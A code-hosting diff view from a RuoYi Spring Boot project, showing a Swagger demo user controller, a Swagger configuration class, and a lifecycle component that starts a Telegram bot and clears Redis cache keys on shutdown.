@ApiImplicitParam(name = "userId", value = "用户ID", required = true, dataType = "int", paramType = "path", dataTypeClass = Integer.class)
@GetMapping("/{userId}")
public R<UserEntity> getUser(@PathVariable Integer userId)
{
if (!users.isEmpty() && users.containsKey(userId))
{
return R.ok(users.get(userId));
}
else
{
return R.fail("用户不存在");
}
}
@ApiOperation("新增用户")
@ApiImplicitParams({
@ApiImplicitParam(name = "userId", value = "用户id", dataType = "Integer", dataTypeClass = Integer.class),
@ApiImplicitParam(name = "username", value = "用户名称", dataType = "String", dataTypeClass = String.class),
@ApiImplicitParam(name = "password", value = "用户密码", dataType = "String", dataTypeClass = String.class),
@ApiImplicitParam(name = "mobile", value = "用户手机", dataType = "String", dataTypeClass = String.class)
})
@PostMapping("/save")
public R<String> save(UserEntity user)
{
if (StringUtils.isNull(user) || StringUtils.isNull(user.getUserId()))
{
return R.fail("用户ID不能为空");
}
users.put(user.getUserId(), user);
return R.ok();
}
@ApiOperation("更新用户")
@PutMapping("/update")
public R<String> update(@RequestBody UserEntity user)
{
if (StringUtils.isNull(user) || StringUtils.isNull(user.getUserId()))
{
return R.fail("用户ID不能为空");
}
if (users.isEmpty() || !users.containsKey(user.getUserId()))
{
return R.fail("用户不存在");
}
users.remove(user.getUserId());
users.put(user.getUserId(), user);
return R.ok();
}
@ApiOperation("删除用户信息")
@ApiImplicitParam(name = "userId", value = "用户ID", required = true, dataType = "int", paramType = "path", dataTypeClass = Integer.class)
@DeleteMapping("/{userId}")
public R<String> delete(@PathVariable Integer userId)
{
if (!users.isEmpty() && users.containsKey(userId))
{
users.remove(userId);
return R.ok();
}
else
{
return R.fail("用户不存在");
}
}
}
@ApiModel(value = "UserEntity", description = "用户实体")
class UserEntity
{
@ApiModelProperty("用户ID")
private Integer userId;
@ApiModelProperty("用户名称")
private String username;
@ApiModelProperty("用户密码")
private String password;
@ApiModelProperty("用户手机")
private String mobile;
public UserEntity()
{
}
public UserEntity(Integer userId, String username, String password, String mobile)
{
this.userId = userId;
this.username = username;
this.password = password;
this.mobile = mobile;
}
public Integer getUserId()
{
return userId;
}
public void setUserId(Integer userId)
{
this.userId = userId;
}
public String getUsername()
{
return username;
}
public void setUsername(String username)
{
this.username = username;
}
public String getPassword()
{
return password;
}
public void setPassword(String password)
{
this.password = password;
}
public String getMobile()
{
return mobile;
}
public void setMobile(String mobile)
{
this.mobile = mobile;
}
}

125
ruoyi-admin/src/main/java/com/ruoyi/web/core/config/SwaggerConfig.java

@ -0,0 +1,125 @@
package com.ruoyi.web.core.config;
import java.util.ArrayList;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import com.ruoyi.common.config.RuoYiConfig;
import io.swagger.annotations.ApiOperation;
import io.swagger.models.auth.In;
import springfox.documentation.builders.ApiInfoBuilder;
import springfox.documentation.builders.PathSelectors;
import springfox.documentation.builders.RequestHandlerSelectors;
import springfox.documentation.service.ApiInfo;
import springfox.documentation.service.ApiKey;
import springfox.documentation.service.AuthorizationScope;
import springfox.documentation.service.Contact;
import springfox.documentation.service.SecurityReference;
import springfox.documentation.service.SecurityScheme;
import springfox.documentation.spi.DocumentationType;
import springfox.documentation.spi.service.contexts.SecurityContext;
import springfox.documentation.spring.web.plugins.Docket;
/**
* Swagger2的接口配置
*
* @author ruoyi
*/
@Configuration
public class SwaggerConfig
{
/** 系统基础配置 */
@Autowired
private RuoYiConfig ruoyiConfig;
/** 是否开启swagger */
@Value("${swagger.enabled}")
private boolean enabled;
/** 设置请求的统一前缀 */
@Value("${swagger.pathMapping}")
private String pathMapping;
/**
* 创建API
*/
@Bean
public Docket createRestApi()
{
return new Docket(DocumentationType.OAS_30)
// 是否启用Swagger
.enable(enabled)
// 用来创建该API的基本信息,展示在文档的页面中(自定义展示的信息)
.apiInfo(apiInfo())
// 设置哪些接口暴露给Swagger展示
.select()
// 扫描所有有注解的api,用这种方式更灵活
.apis(RequestHandlerSelectors.withMethodAnnotation(ApiOperation.class))
// 扫描指定包中的swagger注解
// .apis(RequestHandlerSelectors.basePackage("com.ruoyi.project.tool.swagger"))
// 扫描所有 .apis(RequestHandlerSelectors.any())
.paths(PathSelectors.any())
.build()
/* 设置安全模式,swagger可以设置访问token */
.securitySchemes(securitySchemes())
.securityContexts(securityContexts())
.pathMapping(pathMapping);
}
/**
* 安全模式这里指定token通过Authorization头请求头传递
*/
private List<SecurityScheme> securitySchemes()
{
List<SecurityScheme> apiKeyList = new ArrayList<SecurityScheme>();
apiKeyList.add(new ApiKey("Authorization", "Authorization", In.HEADER.toValue()));
return apiKeyList;
}
/**
* 安全上下文
*/
private List<SecurityContext> securityContexts()
{
List<SecurityContext> securityContexts = new ArrayList<>();
securityContexts.add(
SecurityContext.builder()
.securityReferences(defaultAuth())
.operationSelector(o -> o.requestMappingPattern().matches("/.*"))
.build());
return securityContexts;
}
/**
* 默认的安全上引用
*/
private List<SecurityReference> defaultAuth()
{
AuthorizationScope authorizationScope = new AuthorizationScope("global", "accessEverything");
AuthorizationScope[] authorizationScopes = new AuthorizationScope[1];
authorizationScopes[0] = authorizationScope;
List<SecurityReference> securityReferences = new ArrayList<>();
securityReferences.add(new SecurityReference("Authorization", authorizationScopes));
return securityReferences;
}
/**
* 添加摘要信息
*/
private ApiInfo apiInfo()
{
// 用ApiInfoBuilder进行定制
return new ApiInfoBuilder()
// 设置标题
.title("标题:若依管理系统_接口文档")
// 描述
.description("描述:用于管理集团旗下公司的人员信息,具体包括XXX,XXX模块...")
// 作者信息
.contact(new Contact(ruoyiConfig.getName(), null, null))
// 版本
.version("版本号:" + ruoyiConfig.getVersion())
.build();
}
}

73
ruoyi-admin/src/main/java/com/ruoyi/web/lifecycle/MySmartLifecycle.java

@ -0,0 +1,73 @@
package com.ruoyi.web.lifecycle;
import com.ruoyi.common.core.redis.RedisCache;
import com.ruoyi.common.enums.CachePrefix;
import com.ruoyi.common.utils.SpringContextUtil;
import com.ruoyi.telegrambot.MyTelegramBot;
import com.ruoyi.telegrambot.TelegramBotConfig;
import lombok.extern.slf4j.Slf4j;
import org.springframework.context.SmartLifecycle;
import org.springframework.stereotype.Component;
import org.telegram.telegrambots.meta.exceptions.TelegramApiException;
@Slf4j
@Component
public class MySmartLifecycle implements SmartLifecycle {
private volatile boolean running = false;
/*** true:让Lifecycle类所在的上下文在调用`refresh`时,能够自己自动进行回调* false:表明组件打算通过显式的start()调用来启动,类似于普通的Lifecycle实现。*/
@Override
public boolean isAutoStartup() {
return true;
}
/*** 很多框架中,把真正逻辑写在stop()方法内。比如quartz和Redis的spring支持包*/
@Override
public void stop(Runnable callback) {
System.out.println("stop(callback)");
stop();
callback.run();
}
@Override
public void start() {
log.info("SmartLifecycle 生命周期初始化 ==========开始");
//初始化机器人配置
MyTelegramBot myTelegramBot = SpringContextUtil.getBean(MyTelegramBot.class);
myTelegramBot.initMyTelegramBot();
log.info("myTelegramBot 初始化 ==========结束");
//启动机器人
TelegramBotConfig telegramBotConfig = SpringContextUtil.getBean(TelegramBotConfig.class);
try {
log.info("开始创建机器人链接 TelegramBot============开始");
telegramBotConfig.start();
log.info("开始创建机器人链接 TelegramBot============结束");
} catch (TelegramApiException e) {
e.printStackTrace();
} running = true;
}
@Override
public void stop() {
TelegramBotConfig telegramBotConfig = SpringContextUtil.getBean(TelegramBotConfig.class);
telegramBotConfig.stop();
RedisCache redisCache = SpringContextUtil.getBean(RedisCache.class);
redisCache.deleteObject("notice_key");
redisCache.deleteObject("notice");
redisCache.deleteObject(CachePrefix.ORDER_SECOND_CONTRACT.getPrefix()+"*");
running = false;
}
@Override
public boolean isRunning() {
System.out.println("isRunning()");
return running;
}
/*** 阶段值。越小:start()方法越靠前,stop()方法越靠后*/
@Override
public int getPhase() {
System.out.println("getPhase()");
return 0;
}
}

Some files were not shown because too many files changed in this diff

Loading…
Cancel
Save